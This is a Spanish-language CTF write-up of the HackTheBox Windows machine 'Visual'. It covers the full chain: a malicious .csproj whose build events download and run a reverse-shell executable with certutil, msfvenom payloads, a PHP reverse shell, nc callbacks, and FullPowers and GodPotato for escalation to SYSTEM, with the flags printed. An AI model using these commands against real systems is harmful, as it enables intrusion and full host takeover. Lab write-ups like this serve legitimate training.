Visual es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Media.
En este caso se trata de una máquina basada en el Sistema Operativo Windows.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Visual 10.10.11.234 a /etc/hosts como visual.htb y comenzamos con el escaneo de puertos nmap.
|
1 2 3 4 5 6 7 8 9 10 11 |
$ nmap -sS -p- --open --min-rate 5000 -vvv -n -oA enumeration/nmap1 10.10.11.234 Nmap scan report for 10.10.11.234 Host is up, received echo-reply ttl 127 (0.11s latency). Scanned at 2023-10-05 14:36:56 GMT for 27s Not shown: 65534 filtered tcp ports (no-response) Some closed ports may be reported as filtered due to --defeat-rst-ratelimit PORT STATE SERVICE REASON 80/tcp open http syn-ack ttl 127 Read data files from: /usr/bin/../share/nmap # Nmap done at Thu Oct 5 14:37:23 2023 -- 1 IP address (1 host up) scanned in 27.05 seconds |
Una vez detectados los puertos lanzamos un escaneo más detallado sobre los abiertos
|
1 2 3 4 5 6 7 8 9 10 11 |
$ nmap -sCV -p 80 -oA enumeration/nmap2 -Pn 10.10.11.234 Nmap scan report for 10.10.11.234 Host is up (0.045s latency). PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.56 ((Win64) OpenSSL/1.1.1t PHP/8.1.17) |_http-server-header: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.1.17 |_http-title: Visual - Revolutionizing Visual Studio Builds Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Thu Oct 5 14:38:01 2023 -- 1 IP address (1 host up) scanned in 12.96 seconds |
Enumeración
Sólo tenemos abierto el puerto 80 correspondiente a un portal web así que accedemos a través del navegador para ver la siguiente página web

Revisamos la página en detalle y vemos también el siguiente formulario para introducir una url a un repositorio

Revisando la página, la aplicación web nos permite compilar un proyecto en C Sharp a través de un repositorio de git así que para poder explotar esto buscamos en google.
Encontramos un post interesante donde explica la posibilidad de incluir una revshell a través de un proyecto con visual studio
Y otro post donde explica como utilizar git sobre http
Llegados a esta parte, lo primero que necesitamos, es crear un proyecto de código, el cual deberá incluir como mínimo un fichero .csproj y un fichero .sln que apunte al mismo.
Aquí podemos hacerlo de dos formas, descargando una copia de un repositorio desde github o creando un proyecto nuevo con dotnet.
|
1 |
$ dotnet new console --framework net7.0 |
Una vez tenemos nuestro proyecto nos aprovecharemos de las directivas PreBuildEvent y PostBuildEvent para ejecutar comandos en el servidor remoto.
Así que añadimos las directivas al fichero csproj quedando así
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
<?xml version="1.0" encoding="utf-8"?> <Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> <Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" /> <PropertyGroup> <Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration> <Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform> <ProjectGuid>{E3CCB0F9-E181-4AC9-976F-AFA1DB18459A}</ProjectGuid> <OutputType>Exe</OutputType> <RootNamespace>ConsoleApp3</RootNamespace> <AssemblyName>ConsoleApp3</AssemblyName> <TargetFrameworkVersion>v4.7.2</TargetFrameworkVersion> <FileAlignment>512</FileAlignment> <AutoGenerateBindingRedirects>true</AutoGenerateBindingRedirects> <Deterministic>true</Deterministic> <PreBuildEvent>certutil -urlcache -split -f http://10.10.14.9/rev.exe C:\Users\Public\rev.exe</PreBuildEvent> <PostBuildEvent>C:\Users\Public\rev.exe</PostBuildEvent> </PropertyGroup> ... |
Una vez lo tenemos generamos la revshell con msfvenom
|
1 2 3 4 5 6 7 |
$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.9 LPORT=4444 -f exe -o rev.exe [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x64 from the payload No encoder specified, outputting raw payload Payload size: 460 bytes Final size of exe file: 7168 bytes Saved as: rev.exe |
Iniciaremos git en el directorio de nuestro proyecto
|
1 2 3 |
$ git init $ git add . $ git commit -m 'ConsoleApp' |
Una vez hecho, accedemos al directorio .git creado y modificaremos la info del servidor
|
1 2 |
$ cd .git $ git --bare update-server-info |
Y levantamos un server con python en dicha ruta
|
1 2 |
$ python3 -m http.server 8000 Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... |
El siguiente paso será volver al portal web e indicar nuestra dirección y veremos como comienza a compilar el proyecto

Y a su vez veremos en nuestro server en python como comienza la descarga de paquetes
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
$ python3 -m http.server 8000 Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... 10.10.11.234 - - [05/Oct/2023 15:32:34] "GET /info/refs?service=git-upload-pack HTTP/1.1" 200 - 10.10.11.234 - - [05/Oct/2023 15:32:34] "GET /HEAD HTTP/1.1" 200 - 10.10.11.234 - - [05/Oct/2023 15:32:34] "GET /objects/d6/e5e485998a6e0425ba1f1dcafea9c54171e25b HTTP/1.1" 200 - 10.10.11.234 - - [05/Oct/2023 15:32:34] "GET /objects/29/e383b245f3c4818f1545c8ccb7ec021611eb23 HTTP/1.1" 200 - 10.10.11.234 - - [05/Oct/2023 15:32:34] "GET /objects/71/fc634f675c5aea411f528c2f4e3bd972b023e7 HTTP/1.1" 200 - 10.10.11.234 - - [05/Oct/2023 15:32:34] "GET /objects/ed/6651de737a8364bff4c0d83c436cd79dd04e48 HTTP/1.1" 200 - 10.10.11.234 - - [05/Oct/2023 15:32:35] "GET /objects/ee/c9b9cf67a8cf970f51d4e0c4b08d487061ef71 HTTP/1.1" 200 - 10.10.11.234 - - [05/Oct/2023 15:32:35] "GET /objects/57/547288bc6146d6494f7eb02bba6f92758ff00c HTTP/1.1" 200 - 10.10.11.234 - - [05/Oct/2023 15:32:35] "GET /objects/12/7a015e8a3a9e91836e61584ce2f700b696a04f HTTP/1.1" 200 - 10.10.11.234 - - [05/Oct/2023 15:32:35] "GET /objects/c3/d508c5f66cd2a87dc765ae70067e85e0cd69c9 HTTP/1.1" 200 - 10.10.11.234 - - [05/Oct/2023 15:32:35] "GET /objects/47/2f34dbd9f6136acd5a7d3d3e8fc738ec7d5b77 HTTP/1.1" 200 - 10.10.11.234 - - [05/Oct/2023 15:32:35] "GET /objects/c4/3b96a1abf65b8d6e18906134aba09b2d4e7ee8 HTTP/1.1" 200 - 10.10.11.234 - - [05/Oct/2023 15:32:35] "GET /objects/ab/0ee73e93726b954e8733fb50d7f10876ac63b7 HTTP/1.1" 200 - 10.10.11.234 - - [05/Oct/2023 15:32:35] "GET /objects/03/4ee06efda5a3c900e320dc876cef231757506b HTTP/1.1" 200 - 10.10.11.234 - - [05/Oct/2023 15:32:35] "GET /objects/f9/8abbef0d6e033828e2c32c50b3108be7f1ce3a HTTP/1.1" 200 - 10.10.11.234 - - [05/Oct/2023 15:32:35] "GET /objects/03/aba627e3abb34431ab0758c8ac5f88e0b74fb1 HTTP/1.1" 200 - 10.10.11.234 - - [05/Oct/2023 15:32:35] "GET /objects/58/f860309e74627acb1005690407fcc55e922134 HTTP/1.1" 200 - 10.10.11.234 - - [05/Oct/2023 15:32:35] "GET /objects/09/a70caea6267b6d98421803a8508bded251e66a HTTP/1.1" 200 - 10.10.11.234 - - [05/Oct/2023 15:32:35] "GET /objects/b7/11e45478f6a6d0b575d31908f41a2c96932c93 HTTP/1.1" 200 - 10.10.11.234 - - [05/Oct/2023 15:32:35] "GET /objects/a5/a44e5c0643bc9eedca9c9cf99a95e6ce111c86 HTTP/1.1" 200 - 10.10.11.234 - - [05/Oct/2023 15:32:35] "GET /objects/61/336659092633045432230511ce6b3c50e22294 HTTP/1.1" 200 - |
Al cabo de unos segundos descargará nuestro exe malicioso
|
1 2 3 4 |
$ python3 -m http.server 80 Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ... 10.10.11.234 - - [05/Oct/2023 15:33:05] "GET /rev.exe HTTP/1.1" 200 - 10.10.11.234 - - [05/Oct/2023 15:33:05] "GET /rev.exe HTTP/1.1" 200 - |
Y obtendremos una revshell con el usuario enox
|
1 2 3 4 5 6 7 8 9 10 11 |
$ nc -nlvp 4444 listening on [any] 4444 ... connect to [10.10.14.9] from (UNKNOWN) [10.10.11.234] 49875 Microsoft Windows [Version 10.0.17763.4851] (c) 2018 Microsoft Corporation. All rights reserved. C:\xampp\htdocs\uploads\e4684c236e7a6e1a9928a68643421b>whoami whoami visual\enox C:\xampp\htdocs\uploads\e4684c236e7a6e1a9928a68643421b> |
Obteniendo la flag de user
Una vez dentro vamos a coger la primera flag
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
c:\Users\enox\Desktop>dir dir Volume in drive C has no label. Volume Serial Number is 82EF-5600 Directory of c:\Users\enox\Desktop 06/10/2023 01:10 PM <DIR> . 06/10/2023 01:10 PM <DIR> .. 10/05/2023 01:07 AM 34 user.txt 1 File(s) 34 bytes 2 Dir(s) 8,909,111,296 bytes free c:\Users\enox\Desktop>type user.txt type user.txt a5ec56e36ba6f77f58491882bf46edb0 |
Escalado de privilegios
Para el escalado al usuario administrator vemos que el usuario enox puede escribir en la ruta de xampp así que vamos a utilizar la herramienta FullPowers con la cual poder escalar privilegios, pero antes de poder utilizarla necesitamos acceso con un usuario de servicio local.
Para ello generamos una revshell con msfvenom
|
1 2 3 4 5 6 |
$ msfvenom -p php/reverse_php LHOST=10.10.14.9 LPORT=4445 -o revshell.php [-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload [-] No arch selected, selecting arch: php from the payload No encoder specified, outputting raw payload Payload size: 3003 bytes Saved as: revshell.php |
La subimos a la máquina a la ruta del servidor web
|
1 2 |
PS C:\xampp\htdocs> iwr -uri http://10.10.14.9/revshell.php -outfile revshell.php iwr -uri http://10.10.14.9/revshell.php -outfile revshell.php |
Ejecutaremos con un simple curl
|
1 |
$ curl http://visual.htb/revshell.php |
Y tendremos la shell con un usuario de servicio local
|
1 2 3 4 5 6 |
$ nc -nlvp 4445 listening on [any] 4445 ... connect to [10.10.14.9] from (UNKNOWN) [10.10.11.234] 49879 whoami nt authority\local service |
Subimos nc y la tool de FullPowers y la ejecutamos
|
1 |
.\FullPowers.exe -c "C:\Users\Public\nc.exe 10.10.14.9 4446 -e cmd" -z |
Obteniendo otra shell más
|
1 2 3 4 5 6 7 8 9 |
$ nc -nlvp 4446 listening on [any] 4446 ... connect to [10.10.14.9] from (UNKNOWN) [10.10.11.234] 49884 Microsoft Windows [Version 10.0.17763.4840] (c) 2018 Microsoft Corporation. All rights reserved. C:\Windows\system32>whoami whoami nt authority\local service |
Aunque si revisamos los permisos vemos que estos han aumentado
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
C:\Windows\system32>whoami /priv whoami /priv PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ========================================= ======= SeAssignPrimaryTokenPrivilege Replace a process level token Enabled SeIncreaseQuotaPrivilege Adjust memory quotas for a process Enabled SeAuditPrivilege Generate security audits Enabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeImpersonatePrivilege Impersonate a client after authentication Enabled SeCreateGlobalPrivilege Create global objects Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Enabled |
Viendo los privilegios disponibles utilizaremos una tool de la suite Potato, en este caso GodPotato así que lo subimos a la máquina y ejecutamos
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
c:\Users\Public>.\GodPotato-NET4.exe -cmd "C:\Users\Public\nc.exe 10.10.14.9 4447 -e cmd" .\GodPotato-NET4.exe -cmd "C:\Users\Public\nc.exe 10.10.14.9 4447 -e cmd" [*] CombaseModule: 0x140719107801088 [*] DispatchTable: 0x140719110107248 [*] UseProtseqFunction: 0x140719109483424 [*] UseProtseqFunctionParamCount: 6 [*] HookRPC [*] Start PipeServer [*] CreateNamedPipe \\.\pipe\100fd94f-80aa-4e94-a6f5-f49db86d1843\pipe\epmapper [*] Trigger RPCSS [*] DCOM obj GUID: 00000000-0000-0000-c000-000000000046 [*] DCOM obj IPID: 00003802-0cd8-ffff-c14f-e2010f7ba77e [*] DCOM obj OXID: 0x36bfdc2c25c6e827 [*] DCOM obj OID: 0xca6a10ecb4588d43 [*] DCOM obj Flags: 0x281 [*] DCOM obj PublicRefs: 0x0 [*] Marshal Object bytes len: 100 [*] UnMarshal Object [*] Pipe Connected! [*] CurrentUser: NT AUTHORITY\NETWORK SERVICE [*] CurrentsImpersonationLevel: Impersonation [*] Start Search System Token [*] PID : 868 Token:0x800 User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation [*] Find System Token : True [*] UnmarshalObject: 0x80070776 [*] CurrentUser: NT AUTHORITY\SYSTEM [*] process start with pid 4860 |
Y obtendremos una shell como system
|
1 2 3 4 5 6 7 8 9 |
$ nc -nlvp 4447 listening on [any] 4447 ... connect to [10.10.14.9] from (UNKNOWN) [10.10.11.234] 49892 Microsoft Windows [Version 10.0.17763.4840] (c) 2018 Microsoft Corporation. All rights reserved. c:\Users\Public>whoami whoami nt authority\system |
Obteniendo la flag de root
Y siendo system, sólo nos queda obtener la flag
|
1 2 3 |
c:\Users\Public>type c:\users\administrator\desktop\root.txt type c:\users\administrator\desktop\root.txt ebdb9b63941e0008efb6df4037bb19da |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace










